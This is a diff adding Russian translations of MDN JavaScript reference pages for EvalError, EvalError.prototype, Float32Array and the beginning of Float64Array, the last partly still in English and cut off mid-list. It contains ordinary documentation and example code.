+translation_of: Web/JavaScript/Reference/Global_Objects/EvalError
+---
+<div>{{JSRef("Global_Objects", "Error", "EvalError,InternalError,RangeError,ReferenceError,SyntaxError,TypeError,URIError")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Объект <strong><code>EvalError</code></strong> представляет ошибку, возникающую в глобальной функции {{jsxref("Global_objects/eval()", "eval()")}}.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code>new EvalError([<var>message</var>[, <var>fileName</var>[, <var>lineNumber</var>]]])</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+<dl>
+ <dt><code>message</code></dt>
+ <dd>Необязательный параметр. Человеко-читаемое описание ошибки.</dd>
+ <dt><code>fileName</code> {{non-standard_inline}}</dt>
+ <dd>Необязательный параметр. Имя файла, содержащего код, вызвавший исключение.</dd>
+ <dt><code>lineNumber</code> {{non-standard_inline}}</dt>
+ <dd>Необязательный параметр. Номер строки кода, вызвавшей исключение.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Исключение <code>EvalError</code> выбрасывается при неправильном использовании глобальной функции {{jsxref("Global_objects/eval()", "eval()")}}.</p>
+
+<h2 id="Properties" name="Properties">Свойства</h2>
+<dl>
+ <dt>{{jsxref("EvalError.prototype")}}</dt>
+ <dd>Позволяет добавлять свойства в объект <code>EvalError</code>.</dd>
+</dl>
+
+<h2 id="Methods" name="Methods">Методы</h2>
+<p>Глобальный объект <code>EvalError</code> не содержит собственных методов, однако, он наследует некоторые методы из цепочки прототипов.</p>
+
+<h2 id="EvalError_instances" name="EvalError_instances">Экземпляры объекта <code>EvalError</code></h2>
+
+<h3 id="Properties_2" name="Properties_2">Свойства</h3>
+<div>{{page('/ru/Web/JavaScript/Reference/Global_Objects/EvalError/prototype', 'Properties')}}</div>
+
+<h3 id="Methods_2" name="Methods_2">Методы</h3>
+<div>{{page('/ru/Web/JavaScript/Reference/Global_Objects/EvalError/prototype', 'Methods')}}</div>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+<p>Объект <code>EvalError</code> в настоящий момент не используется и он никогда не выбрасывается в процессе выполнения.</p>
+
+<h3 id="Example:_Create_an_EvalError" name="Example:_Create_an_EvalError">Пример: создание экземпляра объекта <code>EvalError</code></h3>
+<pre class="brush: js">try {
+  throw new EvalError('Привет', 'someFile.js', 10);
+} catch (e) {
+  console.log(e instanceof EvalError); // true
+  console.log(e.message);              // "Привет"
+  console.log(e.name);                 // "EvalError"
+  console.log(e.fileName);             // "someFile.js"
+  console.log(e.lineNumber);           // 10
+  console.log(e.columnNumber);         // 0
+  console.log(e.stack);                // "@Scratchpad/2:2:9\n"
+}
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 3-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.11.6.1', 'EvalError')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Не используется в этой спецификаци. Присутствует для обратной совместимости.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-native-error-types-used-in-this-standard-evalerror', 'EvalError')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Не используется в этой спецификаци. Присутствует для обратной совместимости.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome for Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Error")}}</li>
+ <li>{{jsxref("EvalError.prototype")}}</li>
+ <li>{{jsxref("Global_objects/eval", "eval()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/evalerror/prototype/index.html b/files/ru/web/javascript/reference/global_objects/evalerror/prototype/index.html
new file mode 100644
index 0000000000..d8d02e3709
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/evalerror/prototype/index.html
@@ -0,0 +1,121 @@
+---
+title: EvalError.prototype
+slug: Web/JavaScript/Reference/Global_Objects/EvalError/prototype
+tags:
+  - Error
+  - EvalError
+  - JavaScript
+  - Property
+translation_of: Web/JavaScript/Reference/Global_Objects/EvalError
+---
+<div>{{JSRef("Global_Objects", "Error", "EvalError,InternalError,RangeError,ReferenceError,SyntaxError,TypeError,URIError")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Свойство <code><strong>EvalError.prototype</strong></code> представляет прототип конструктора объекта {{jsxref("EvalError")}}.</p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Все экземпляры {{jsxref("EvalError")}} наследуются от объекта <code>EvalError.prototype</code>. Вы можете использовать прототип для добавления свойств или методов ко всем экземплярам.</p>
+
+<h2 id="Properties" name="Properties">Свойства</h2>
+<dl>
+ <dt><code>EvalError.prototype.constructor</code></dt>
+ <dd>Определяет функцию, создающую прототип экземпляра.</dd>
+ <dt>{{jsxref("Error.prototype.message", "EvalError.prototype.message")}}</dt>
+ <dd>Сообщение ошибки. Хотя стандарт ECMA-262 определяет, что {{jsxref("EvalError")}} должен предоставлять своё собственное свойство <code>message</code>, в <a href="/ru/docs/Mozilla/Projects/SpiderMonkey">SpiderMonkey</a> он наследует свойство {{jsxref("Error.prototype.message")}}.</dd>
+ <dt>{{jsxref("Error.prototype.name", "EvalError.prototype.name")}}</dt>
+ <dd>Название ошибки. Унаследовано от {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.fileName", "EvalError.prototype.fileName")}}</dt>
+ <dd>Путь к файлу, в котором возникла эта ошибка. Унаследовано от {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.lineNumber", "EvalError.prototype.lineNumber")}}</dt>
+ <dd>Номер строки в файле, в котором возникла эта ошибка. Унаследовано от {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.columnNumber", "EvalError.prototype.columnNumber")}}</dt>
+ <dd>Номер колонки в строке, на которой возникла эта ошибка. Унаследовано от {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.stack", "EvalError.prototype.stack")}}</dt>
+ <dd>Стек вызовов. Унаследовано от {{jsxref("Error")}}.</dd>
+</dl>
+
+<h2 id="Methods" name="Methods">Методы</h2>
+<p>Хотя объект прототипа {{jsxref("EvalError")}} не содержит собственных методов, экземпляры {{jsxref("EvalError")}} наследуют некоторые методы из цепочки прототипов.</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 3-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.11.7.6', 'NativeError.prototype')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Определено как <code><em>NativeError</em>.prototype</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-nativeerror.prototype', 'NativeError.prototype')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Определено как <code><em>NativeError</em>.prototype</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Error.prototype")}}</li>
+ <li>{{jsxref("Function.prototype")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/float32array/index.html b/files/ru/web/javascript/reference/global_objects/float32array/index.html
new file mode 100644
index 0000000000..dec9a2b937
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/float32array/index.html
@@ -0,0 +1,202 @@
+---
+title: Float32Array
+slug: Web/JavaScript/Reference/Global_Objects/Float32Array
+translation_of: Web/JavaScript/Reference/Global_Objects/Float32Array
+---
+<div>{{JSRef}}</div>
+
+<p>Объект<strong><code> Float32Array</code></strong> представляет типизированный массив 32-битных чисел с плавающей запятой (соответствует типу float в языке C)  с платформо-зависимым порядком байт. Если необходим контроль за порядком байт, то вместо этого объекта используйте <a class="new" href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/DataView" rel="nofollow" title="Документация об этом ещё не написана; пожалуйста, поспособствуйте её написанию!"><code>DataView</code></a>. Содержимое инициализируется значением <code>0</code>. Создав экземпляр <strong><code>Float32Array</code></strong>, можно получить доступ к элементам массива, используя методы объекта или стандартный синтаксис доступа к элементу массива по его индексу (с помощью скобочной нотации - квадратные скобки).</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">new Float32Array(); // new in ES2017
+new Float32Array(length);
+new Float32Array(typedArray);
+new Float32Array(object);
+new Float32Array(buffer [, byteOffset [, length]]);</pre>
+
+<p>Для более подробной информации о синтаксисе конструктора и его параметрах смотрите <em><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray#Syntax">TypedArray</a></em>.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<dl>
+ <dt>{{jsxref("TypedArray.BYTES_PER_ELEMENT", "Float32Array.BYTES_PER_ELEMENT")}}</dt>
+ <dd>Возвращает число, соответствующее размеру элемента массива в байтах. Для <code>Float32Array</code> это <code>4</code>.</dd>
+ <dt>Float32Array.length</dt>
+ <dd>Статическое свойство "длина" со значением 0. Если хотите получить актуальную длину массива (число элементов) используйте {{jsxref("TypedArray.prototype.length", "Float32Array.prototype.length")}}.</dd>
+ <dt>{{jsxref("TypedArray.name", "Float32Array.name")}}</dt>
+ <dd>Возвращает строковое представление названия конструктора. В данном случае <code>Float32Array</code> вернёт <code>"Float32Array"</code>.</dd>
+ <dt>{{jsxref("TypedArray.prototype", "Float32Array.prototype")}}</dt>
+ <dd>Прототип объекта <code>TypedArray</code>.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<dl>
+ <dt>{{jsxref("TypedArray.from", "Float32Array.from()")}}</dt>
+ <dd>Создаёт новый <code>Float32Array</code> из массивоподобного или итерируемого объекта. Смотрите также {{jsxref("Array.from()")}}.</dd>
+ <dt>{{jsxref("TypedArray.of", "Float32Array.of()")}}</dt>
+ <dd>Создаёт новый <code>Float32Array</code> с заданным числом элементов. Смотрите также {{jsxref("Array.of()")}}.</dd>
+</dl>
+
+<h2 id="Float32Array_prototype"><code>Float32Array</code> prototype</h2>
+
+<p><code>  </code>Любые <code>Float32Array</code> объекты наследуются от {{jsxref("TypedArray.prototype", "%TypedArray%.prototype")}}.</p>
+
+<h3 id="Свойства_2">Свойства</h3>
+
+<dl>
+ <dt><code>Float32Array.prototype.constructor</code></dt>
+ <dd>Возвращает функцию, которая создаёт экземпляр прототипа. В данном случае это конструктор <code>Float32Array</code>.</dd>
+ <dt>{{jsxref("TypedArray.prototype.buffer", "Float32Array.prototype.buffer")}} {{readonlyInline}}</dt>
+ <dd>Возвращает {{jsxref("ArrayBuffer")}}, на который ссылается <code>Float32Array.</code> Автоматически изменяется при операциях над массивом и поэтому доступен <strong>только для чтения</strong>.</dd>
+ <dt>{{jsxref("TypedArray.prototype.byteLength", "Float32Array.prototype.byteLength")}} {{readonlyInline}}</dt>
+ <dd>Возвращает длину в байтах для <code>Float32Array</code> с начала его {{jsxref("ArrayBuffer")}}. Автоматически изменяется при операциях над массивом и поэтому доступен <strong>только для чтения</strong>.</dd>
+ <dt>{{jsxref("TypedArray.prototype.byteOffset", "Float32Array.prototype.byteOffset")}} {{readonlyInline}}</dt>
+ <dd>Возвращает смещение (в байтах) <code>Float32Array</code> относительно начала {{jsxref("ArrayBuffer")}}. Автоматически изменяется при операциях над массивом и поэтому доступен <strong>только для чтения</strong>.</dd>
+ <dt>{{jsxref("TypedArray.prototype.length", "Float32Array.prototype.length")}} {{readonlyInline}}</dt>
+ <dd>Возвращает число элементов, хранящихся в <code>Float32Array</code>. Автоматически изменяется при операциях над массивом и поэтому доступен <strong>только для чтения</strong>.</dd>
+</dl>
+
+<h3 id="Методы_2">Методы</h3>
+
+<dl>
+ <dt>{{jsxref("TypedArray.copyWithin", "Float32Array.prototype.copyWithin()")}}</dt>
+ <dd>Копирует последовательность элементов в массив. Смотрите также {{jsxref("Array.prototype.copyWithin()")}}.</dd>
+ <dt>{{jsxref("TypedArray.entries", "Float32Array.prototype.entries()")}}</dt>
+ <dd>Возвращает новый объект <code>Array Iterator</code>, который содержит пары ключ-значение для каждого элемента в массиве. Смотрите также {{jsxref("Array.prototype.entries()")}}.</dd>
+ <dt>{{jsxref("TypedArray.every", "Float32Array.prototype.every()")}}</dt>
+ <dd>Проверяет, что все элементы в массиве соответствуют условию. Смотрите также {{jsxref("Array.prototype.every()")}}.</dd>
+ <dt>{{jsxref("TypedArray.fill", "Float32Array.prototype.fill()")}}</dt>
+ <dd>Заполняет весь массив от начального до последнего индекса одинаковыми элементами. Смотрите также {{jsxref("Array.prototype.fill()")}}.</dd>
+ <dt>{{jsxref("TypedArray.filter", "Float32Array.prototype.filter()")}}</dt>
+ <dd>Возвращает новый массив со всеми элементами удовлетворяющеми условию. Смотрите также {{jsxref("Array.prototype.filter()")}}.</dd>
+ <dt>{{jsxref("TypedArray.find", "Float32Array.prototype.find()")}}</dt>
+ <dd>Возвращает найденное значение в массиве, если найден элемент соответствуший условию, в противном случае возвращает <code>undefined</code>. Смотрите также {{jsxref("Array.prototype.find()")}}.</dd>
+ <dt>{{jsxref("TypedArray.findIndex", "Float32Array.prototype.findIndex()")}}</dt>
+ <dd>Возвращает индекс найденного значения в массиве, если найден элемент соответствуеший условию, в противном случае возвращает <font face="Consolas, Liberation Mono, Courier, monospace">-1</font>. Смотрите также {{jsxref("Array.prototype.findIndex()")}}.</dd>
+ <dt>{{jsxref("TypedArray.forEach", "Float32Array.prototype.forEach()")}}</dt>
+ <dd>Вызывает функцию для каждого элемента в массиве. Смотрите также {{jsxref("Array.prototype.forEach()")}}.</dd>
+ <dt>{{jsxref("TypedArray.includes", "Float32Array.prototype.includes()")}} {{experimental_inline}}</dt>
+ <dd>Проверяет что массив включает себя элемент, возвращает соответственно true или false. Смотрите также {{jsxref("Array.prototype.includes()")}}.</dd>
+ <dt>{{jsxref("TypedArray.indexOf", "Float32Array.prototype.indexOf()")}}</dt>
+ <dd>Возвращает индекс элемента соответствующего условию (равен значению), в противном случае возвращает -1. Смотрите также {{jsxref("Array.prototype.indexOf()")}}.</dd>
+ <dt>{{jsxref("TypedArray.join", "Float32Array.prototype.join()")}}</dt>
+ <dd>Объединяет элементы массива в строку. Смотрите также {{jsxref("Array.prototype.join()")}}.</dd>
+ <dt>{{jsxref("TypedArray.keys", "Float32Array.prototype.keys()")}}</dt>
+ <dd>Возвращает новый <code>Array Iterator,</code> который содержит ключи элементов в массиве. Смотрите также {{jsxref("Array.prototype.keys()")}}.</dd>
+ <dt>{{jsxref("TypedArray.lastIndexOf", "Float32Array.prototype.lastIndexOf()")}}</dt>
+ <dd>Возвращает последний найденный индекс соответствующий искомому значению, в противном случае возвращает - 1. Смотрите также {{jsxref("Array.prototype.lastIndexOf()")}}.</dd>
+ <dt>{{jsxref("TypedArray.map", "Float32Array.prototype.map()")}}</dt>
+ <dd>Возвращает новый массив с результатом применения функции к каждому элементу в этом массиве. Смотрите также {{jsxref("Array.prototype.map()")}}.</dd>
+ <dt>{{jsxref("TypedArray.move", "Float32Array.prototype.move()")}} {{non-standard_inline}} {{unimplemented_inline}}</dt>
+ <dd>Нестандаризированная версия {{jsxref("TypedArray.copyWithin", "Float32Array.prototype.copyWithin()")}}.</dd>
+ <dt>{{jsxref("TypedArray.reduce", "Float32Array.prototype.reduce()")}}</dt>
+ <dd>Применяет функцию к каждому элементу в массиве (слева-направо) и накапливает результат в переменной. Смотрите также {{jsxref("Array.prototype.reduce()")}}.</dd>
+ <dt>{{jsxref("TypedArray.reduceRight", "Float32Array.prototype.reduceRight()")}}</dt>
+ <dd>Применяет функцию к каждому элементу в массиве (справа-налево) и накапливает результат в переменной. Смотрите также {{jsxref("Array.prototype.reduceRight()")}}.</dd>
+ <dt>{{jsxref("TypedArray.reverse", "Float32Array.prototype.reverse()")}}</dt>
+ <dd>Переставляет элементы массива в обратном порядке - первый становится последним и так далее. Смотрите также {{jsxref("Array.prototype.reverse()")}}.</dd>
+ <dt>{{jsxref("TypedArray.set", "Float32Array.prototype.set()")}}</dt>
+ <dd>Сохраняет значения в массиве.</dd>
+ <dt>{{jsxref("TypedArray.slice", "Float32Array.prototype.slice()")}}</dt>
+ <dd>Выделяет часть массива и возвращает новый с этими значениями. Смотрите также {{jsxref("Array.prototype.slice()")}}.</dd>
+ <dt>{{jsxref("TypedArray.some", "Float32Array.prototype.some()")}}</dt>
+ <dd>Возвращает true если хотя бы один элемент удовлетворяет условию. Смотрите также {{jsxref("Array.prototype.some()")}}.</dd>
+ <dt>{{jsxref("TypedArray.sort", "Float32Array.prototype.sort()")}}</dt>
+ <dd>Сортирует элементы массива по порядку и возвращает этот массив. Смотрите также {{jsxref("Array.prototype.sort()")}}.</dd>
+ <dt>{{jsxref("TypedArray.subarray", "Float32Array.prototype.subarray()")}}</dt>
+ <dd><code>Возваращает новый Float32Array</code> с заданного начального по конечный индекс.</dd>
+ <dt>{{jsxref("TypedArray.values", "Float32Array.prototype.values()")}}</dt>
+ <dd>Возвращает новый объект <code>Array Iterator</code> котрый содержит значения всех элементов в массиве. Смотрите также {{jsxref("Array.prototype.values()")}}.</dd>
+ <dt>{{jsxref("TypedArray.toLocaleString", "Float32Array.prototype.toLocaleString()")}}</dt>
+ <dd>Возвращает локализированную строку представляющую массив и его элементы. Смотрите также {{jsxref("Array.prototype.toLocaleString()")}}.</dd>
+ <dt>{{jsxref("TypedArray.toString", "Float32Array.prototype.toString()")}}</dt>
+ <dd>Возвращает строку представляющую массив и его элементы. Смотрите также {{jsxref("Array.prototype.toString()")}}.</dd>
+ <dt>{{jsxref("TypedArray.@@iterator", "Float32Array.prototype[@@iterator]()")}}</dt>
+ <dd><code>Возвращает новый объект Array Iterator который содержит значения всех элементов в массиве.</code></dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Разные способы создания <code>Float32Array</code>:</p>
+
+<pre class="brush: js">// Используя указание длины
+var float32 = new Float32Array(2);
+float32[0] = 42;
+console.log(float32[0]); // 42
+console.log(float32.length); // 2
+console.log(float32.BYTES_PER_ELEMENT); // 4
+
+// Из массива
+var arr = new Float32Array([21,31]);
+console.log(arr[1]); // 31
+
+// Из другого TypedArray
+var x = new Float32Array([21, 31]);
+var y = new Float32Array(x);
+console.log(y[0]); // 21
+
+// Из другого ArrayBuffer
+var buffer = new ArrayBuffer(16);
+var z = new Float32Array(buffer, 0, 4);
+
+<code class="language-js"><span class="comment token">// Из итератора </span>
+<span class="keyword token">var</span> iterable <span class="operator token">=</span> <span class="keyword token">function</span><span class="operator token">*</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">{</span> <span class="keyword token">yield</span><span class="operator token">*</span> <span class="punctuation token">[</span><span class="number token">1</span><span class="punctuation token">,</span><span class="number token">2</span><span class="punctuation token">,</span><span class="number token">3</span><span class="punctuation token">]</span><span class="punctuation token">;</span> <span class="punctuation token">}</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> float32 <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Float32Array</span><span class="punctuation token">(</span>iterable<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="comment token">// Float32Array[1, 2, 3]</span></code></pre>
+
+
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Typed Array')}}</td>
+   <td>{{Spec2('Typed Array')}}</td>
+   <td>Заменены в ECMAScript 6.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#table-49', 'TypedArray constructors')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Первоначальное появление в стандарте ECMA. Показывает что <code>new обязательно</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#table-49', 'TypedArray constructors')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>ECMAScript 2017 changed the <code>Float32Array</code> constructor to use the <code>ToIndex</code> operation and allows constructors with no arguments.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_совместимость">Браузерная совместимость</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Float32Array")}}</p>
+
+
+
+<h2 id="Заметки_по_совместимости">Заметки по совместимости</h2>
+
+<p>Начиная с ECMAScript 2015 (ES6), <code>Float32Array</code> конструктор обязательно должен вызываться с ключевым словом {{jsxref("Operators/new", "new")}}. Вызов <code>Float32Array</code> конструктора как функцию приведет к исключению {{jsxref("TypeError")}}.</p>
+
+<pre class="brush: js example-bad">var dv = Float32Array([1, 2, 3]);
+// TypeError: calling a builtin Float32Array constructor
+// without new is forbidden</pre>
+
+<pre class="brush: js example-good">var dv = new Float32Array([1, 2, 3]);</pre>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Typed_arrays" title="en/JavaScript typed arrays">JavaScript typed arrays</a></li>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+ <li>{{jsxref("DataView")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/float64array/index.html b/files/ru/web/javascript/reference/global_objects/float64array/index.html
new file mode 100644
index 0000000000..732a6a0667
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/float64array/index.html
@@ -0,0 +1,199 @@
+---
+title: Float64Array
+slug: Web/JavaScript/Reference/Global_Objects/Float64Array
+translation_of: Web/JavaScript/Reference/Global_Objects/Float64Array
+---
+<div>{{JSRef}}</div>
+
+<p>Объект<strong><code> </code></strong><strong><code>Float64Array</code></strong> представляет типизированный массив 64-битных чисел с плавающей запятой (соответствует типу <code>double </code>в языке C)  с платформо-зависимым порядком байт.Если необходим контроль за порядком байт, то вместо этого объекта используйте <a class="new" href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/DataView" rel="nofollow" title="Документация об этом ещё не написана; пожалуйста, поспособствуйте её написанию!"><code>DataView</code></a>. Содержимое инициализируется значением <code>0</code>. Создав экземпляр <strong><code>Float64Array</code></strong> , можно получить доступ к элементам массива, используя методы объекта или стандартный синтаксис доступа к элементу массива по его индексу (с помощью скобочной нотации - квадратные скобки).</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">new Float64Array(); // new in ES2017
+new Float64Array(length);
+new Float64Array(typedArray);
+new Float64Array(object);
+new Float64Array(buffer [, byteOffset [, length]]);</pre>
+
+<p>For more information about the constructor syntax and the parameters, see <em><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray#Syntax">TypedArray</a></em>.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt>{{jsxref("TypedArray.BYTES_PER_ELEMENT", "Float64Array.BYTES_PER_ELEMENT")}}</dt>
+ <dd>Returns a number value of the element size. <code>8</code> in the case of an <code>Float64Array</code>.</dd>
+ <dt>Float64Array.length</dt>
+ <dd>Static length property whose value is 0. For the actual length (number of elements), see {{jsxref("TypedArray.prototype.length", "Float64Array.prototype.length")}}.</dd>
+ <dt>{{jsxref("TypedArray.name", "Float64Array.name")}}</dt>
+ <dd>Returns the string value of the constructor name. In the case of the <code>Float64Array</code> type: "Float64Array".</dd>
+ <dt>{{jsxref("TypedArray.prototype", "Float64Array.prototype")}}</dt>
+ <dd>Prototype for the <em>TypedArray</em> objects.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+ <dt>{{jsxref("TypedArray.from", "Float64Array.from()")}}</dt>
+ <dd>Creates a new <code>Float64Array</code> from an array-like or iterable object. See also {{jsxref("Array.from()")}}.</dd>
+ <dt>{{jsxref("TypedArray.of", "Float64Array.of()")}}</dt>
+ <dd>Creates a new <code>Float64Array</code> with a variable number of arguments. See also {{jsxref("Array.of()")}}.</dd>
+</dl>
+
+<h2 id="Float64Array_prototype"><code>Float64Array</code> prototype</h2>
+
+<p>All <code>Float64Array</code> objects inherit from {{jsxref("TypedArray.prototype", "%TypedArray%.prototype")}}.</p>
+
+<h3 id="Properties_2">Properties</h3>
+
+<dl>
+ <dt><code>Float64Array.prototype.constructor</code></dt>
+ <dd>Returns the function that created an instance's prototype. This is the <code>Float64Array</code> constructor by default.</dd>
+ <dt>{{jsxref("TypedArray.prototype.buffer", "Float64Array.prototype.buffer")}} {{readonlyInline}}</dt>
+ <dd>Returns the {{jsxref("ArrayBuffer")}} referenced by the <code>Float64Array</code> Fixed at construction time and thus <strong>read only</strong>.</dd>
+ <dt>{{jsxref("TypedArray.prototype.byteLength", "Float64Array.prototype.byteLength")}} {{readonlyInline}}</dt>
+ <dd>Returns the length (in bytes) of the <code>Float64Array</code> from the start of its {{jsxref("ArrayBuffer")}}. Fixed at construction time and thus <strong>read only.</strong></dd>
+ <dt>{{jsxref("TypedArray.prototype.byteOffset", "Float64Array.prototype.byteOffset")}} {{readonlyInline}}</dt>
+ <dd>Returns the offset (in bytes) of the <code>Float64Array</code> from the start of its {{jsxref("ArrayBuffer")}}. Fixed at construction time and thus <strong>read only.</strong></dd>
+ <dt>{{jsxref("TypedArray.prototype.length", "Float64Array.prototype.length")}} {{readonlyInline}}</dt>
+ <dd>Returns the number of elements hold in the <code>Float64Array</code>. Fixed at construction time and thus <strong>read only.</strong></dd>
+</dl>
+
+<h3 id="Methods_2">Methods</h3>
+
+<dl>
+ <dt>{{jsxref("TypedArray.copyWithin", "Float64Array.prototype.copyWithin()")}}</dt>
+ <dd>Copies a sequence of array elements within the array. See also {{jsxref("Array.prototype.copyWithin()")}}.</dd>
+ <dt>{{jsxref("TypedArray.entries", "Float64Array.prototype.entries()")}}</dt>
+ <dd>Returns a new <code>Array Iterator</code> object that contains the key/value pairs for each index in the array. See also {{jsxref("Array.prototype.entries()")}}.</dd>
+ <dt>{{jsxref("TypedArray.every", "Float64Array.prototype.every()")}}</dt>
+ <dd>Tests whether all elements in the array pass the test provided by a function. See also {{jsxref("Array.prototype.every()")}}.</dd>
+ <dt>{{jsxref("TypedArray.fill", "Float64Array.prototype.fill()")}}</dt>
+ <dd>Fills all the elements of an array from a start index to an end index with a static value. See also {{jsxref("Array.prototype.fill()")}}.</dd>
+ <dt>{{jsxref("TypedArray.filter", "Float64Array.prototype.filter()")}}</dt>
